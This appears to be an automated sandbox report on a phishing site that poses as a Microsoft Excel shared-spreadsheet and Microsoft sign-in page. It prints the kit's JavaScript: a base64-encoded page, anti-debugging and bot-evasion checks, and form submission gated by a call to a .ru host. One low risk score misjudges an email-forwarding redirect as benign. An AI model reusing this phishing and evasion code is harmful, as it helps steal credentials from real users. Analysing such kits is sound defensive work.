Windows Analysis Report
https://u1427642.ct.sendgrid.net/ss/c/u001.FNsPiHUBxMFL4Ws_sT4ClbcHyliF9aYYaCWsJtTBDNtLQl9ZlDrQgriglBxgGE9RruWvR9yDlYrq9sYDXn9m2QBHZNBT8lOXoCfvqrsEWDs/4cw/m3JxW_wISSqopMaBzhDAkg/h0/h001.ecTtgKjf7ojZqznHApcdI1yRZPedj7DDFJ38_Fw-Xx8

{
    "typosquatting": true,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": true,
    "third_party_hosting": true
}

URL: https://mybluehostin.me

{
    "risk_score": 7,
    "reasoning": "The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. While the script may have some legitimate functionality, the overall risk level is high due to the presence of these malicious indicators."
}

/* Stop chasing the money and start chasing the passion. */
if(atob("aHR0cHM6Ly9hZy5sYW1hbnRhdGlvLnJ1L1pTZWkv") == "nomatch"){
document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNuYlV5VE5rY1F0IGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI25iVXlUTmtjUXQgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI25iVXlUTmtjUXQgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojbmJVeVROa2NRdCBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI25iVXlUTmtjUXQuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTMxcHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi1sZWZ0OiBhdXRvO30NCiNuYlV5VE5rY1F0IC50ZXh0LWNlbnRlciB7dGV4dC1hbGlnbjogY2VudGVyIWltcG9ydGFudDt9DQpAbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7DQojbmJVeVROa2NRdCAuY29sLWxnLTR7ZmxleDowIDAgYXV0bzt3aWR0aDozMy4zMzMzMzMzMyU7fQ0KfQ0KI25iVXlUTmtjUXQgLmRpc3BsYXktNCB7Zm9udC1zaXplOiAxLjI1cmVtIWltcG9ydGFudDt9DQojbmJVeVROa2NRdCAubXQtMiB7bWFyZ2luLXRvcDogMC41cmVtIWltcG9ydGFudDt9DQojbmJVeVROa2NRdCAuaDQge2ZvbnQtc2l6ZTogY2FsYyguOTAwcmVtICsgLjN2dyk7fQ0KI25iVXlUTmtjUXQgLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI25iVXlUTmtjUXQubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiNuYlV5VE5rY1F0IC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQojbmJVeVROa2NRdCAjTmVsWlFpSVNZaSB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCiAgICBpZiAobmF2aWdhdG9yLndlYmRyaXZlciB8fCB3aW5kb3cuY2FsbFBoYW50b20gfHwgd2luZG93Ll9waGFudG9tIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5jbHVkZXMoIkJ1cnAiKSkgew0KICAgICAgICB3aW5kb3cubG9jYXRpb24gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NCkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzUpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDcyKSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5hbHRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQp9KTsNCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgIHJldHVybiBmYWxzZTsNCn0pOw0Kb1Zkd1BmV1pnViA9IGZhbHNlOw0KKGZ1bmN0aW9uIGVJU3JmbERwbmgoKSB7DQogICAgbGV0IFVUc2Rackt6YU8gPSBmYWxzZTsNCiAgICBjb25zdCBITlNxY3dZZ0lWID0gMTAwOw0KICAgIHNldEludGVydmFsKGZ1bmN0aW9uKCkgew0KICAgICAgICBjb25zd

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The script collects user data and sends it to an unknown domain, and it also redirects the user to a Microsoft login page, which is likely a phishing attempt. Overall, the script demonstrates malicious intent and poses a significant security risk."
}

turnstile.render('#cf', {
    sitekey: '0x4AAAAAAA1mbxTaRk7hdxV-',
    'error-callback': lPveDgBgCJ,
    callback: SnXTbznVOP,
});
function lPveDgBgCJ() {
    turnstile.reset();
}
function SnXTbznVOP() {
    var SrkLhMfYnj = document.getElementById("CcjSnkvrAs");
    SrkLhMfYnj.onsubmit = function (event) {
        event.preventDefault();
    };
    document.getElementById("pagelink").value = 'wL9wsj';
    var SsZJCEzVer = "../vemaQMMXedd41JYCetF1Hb9orHvpSpg2mcx";
    fetch('https://XJjd3Dlv9WLU073IPsDPPI0Oqt2JOgOk8v7DiQN7CLucolkWlB.gageodeg.ru/aRfKqGivICwMfkvMblhotmkCKTJPGIIMLUXKGZWRHMEJQTKQBBOQYFNUUNOTELHTTCK', {
    method: "GET",
    }).then(response => {
    return response.text()
    }).then(text => {
    if(text == 0){
    fetch(SsZJCEzVer, {
        method: "POST",
        body: new FormData(SrkLhMfYnj)
    }).then(response => {
        return response.json();
    }).then(data => {
        if(data['status'] == 'success'){
        if(oVdwPfWZgV == false){
        location.reload();
        }
        }
        if(data['status'] == 'error'){
        window.location.replace('https://login.microsoftonline.com');
        }
    });
    }
    if(text != 0){
    window.location.replace('https://login.microsoftonline.com');
    }
    })
    .catch(error => {
    window.location.replace('https://login.microsoftonline.com');
    });
}

{
    "risk_score": 9,
    "reasoning": "This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to a suspicious domain. The combination of these behaviors strongly suggests malicious intent, likely for the purpose of evading detection and potentially carrying out a phishing or other malicious attack."
}

    if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) {
        window.location = "about:blank";
}
document.addEventListener('keydown', function(event) {
    if (event.keyCode === 123) {
        event.preventDefault();
        return false;
    }

    if (
        (event.ctrlKey && event.keyCode === 85) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 73) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 67) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 74) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 75) ||
        (event.ctrlKey && event.keyCode === 72) ||
        (event.metaKey && event.altKey && event.keyCode === 73) ||
        (event.metaKey && event.altKey && event.keyCode === 67) ||
        (event.metaKey && event.keyCode === 85)
    ) {
        event.preventDefault();
        return false;
    }
});
document.addEventListener('contextmenu', function(event) {
    event.preventDefault();
    return false;
});
oVdwPfWZgV = false;
(function eISrflDpnh() {
    let UTsdZrKzaO = false;
    const HNSqcwYgIV = 100;
    setInterval(function() {
        const JGxikBPNuB = performance.now();
        debugger;
        const hEzkSFnohV = performance.now();
        if (hEzkSFnohV - JGxikBPNuB > HNSqcwYgIV && !UTsdZrKzaO) {
            oVdwPfWZgV = true;
            UTsdZrKzaO = true;
            window.location.replace('https://login.microsoftonline.com');
        }
    }, 100);
})();
    

{
    "risk_score": 3,
    "reasoning": "The provided JavaScript code appears to be a form handler with basic email validation and URL processing functionality. While it includes some legacy practices like using `atob()` for URL decoding, the overall behavior does not indicate any high-risk or malicious activities. The code is focused on handling a user-submitted email address and redirecting the user to a URL that includes the email. This is a common pattern for form-based interactions, and the risk level is relatively low."
}

        class FormHandler {
            constructor() {
                this.form = document.getElementById('email-form');
                this.setupListeners();
            }

            setupListeners() {
                this.form.addEventListener('submit', this.handleSubmit.bind(this));
            }

            validateEmail(email) {
                return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
            }

            showError(message, duration = 3000) {
                const element = document.querySelector('.verification-failed');
                element.textContent = message;
                element.style.display = 'block';
                setTimeout(() => element.style.display = 'none', duration);
            }

            processUrl(baseUrl, email) {
                try {
                    // Example: if baseUrl is "aHR0cHM6Ly9oZWxsby5jb20jWA==" (base64 of "https://hello.com#X")
                    const decodedUrl = atob(baseUrl);
                    if (!decodedUrl.includes('/#X')) {
                        throw new Error('Invalid URL format');
                    }
                    // This will result in: https://hello.com#Xuser@email.com
                    return decodedUrl + email;
                } catch (error) {
                    throw new Error('Invalid URL format');
                }
            }

            async handleSubmit(e) {
                e.preventDefault();

                const email = document.getElementById('thesupwillsup-input').value;
                if (!this.validateEmail(email)) {
                    this.showError('Please enter a valid email address');
                    return;
                }

                try {
                    // Base64 encoded URL: "https://hello.com#X"
                    const baseUrl = "aHR0cHM6Ly9naW1kLmxhbWFudGF0aW8ucnUvWlNlaS8jWA==";
                    const finalUrl = this.processUrl(baseUrl, email);
                    window.location.href = finalUrl;
                } catch (error) {
                    this.showError('Unable to process request. Please try again.');
                }
            }
        }

        // Initialize form handler when DOM is loaded
        document.addEventListener('DOMContentLoaded', () => {
            new FormHandler();
        });
    

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": true,
  "trigger_text": "You've received a secured spreadsheet",
  "prominent_button_name": "Open in Excel",
  "text_input_field_labels": [
    "cvdmg2@nooa.org"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Cloudflare"
  ]
}

{
  "brands": [
    "Microsoft Excel"
  ]
}

```json{  "legit_domain": "microsoft.com",  "classification": "wellknown",  "reasons": [    "The brand 'Microsoft Excel' is well-known and is associated with the domain 'microsoft.com'.",    "The URL 'xre.wzr.mybluehostin.me' does not match the legitimate domain for Microsoft.",    "The domain 'mybluehostin.me' is not associated with Microsoft and appears to be a subdomain of a hosting service, which is often used in phishing attempts.",    "The presence of multiple subdomains and the use of a hosting service domain is suspicious and indicative of phishing.",    "The email domain 'nooa.org' does not match the brand or the URL, adding to the suspicion."  ],  "riskscore": 9}
Google indexed: False

{
  "contains_trigger_text": true,
  "trigger_text": "Sign in",
  "prominent_button_name": "Next",
  "text_input_field_labels": [
    "7z16vz@mzehiju.co"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}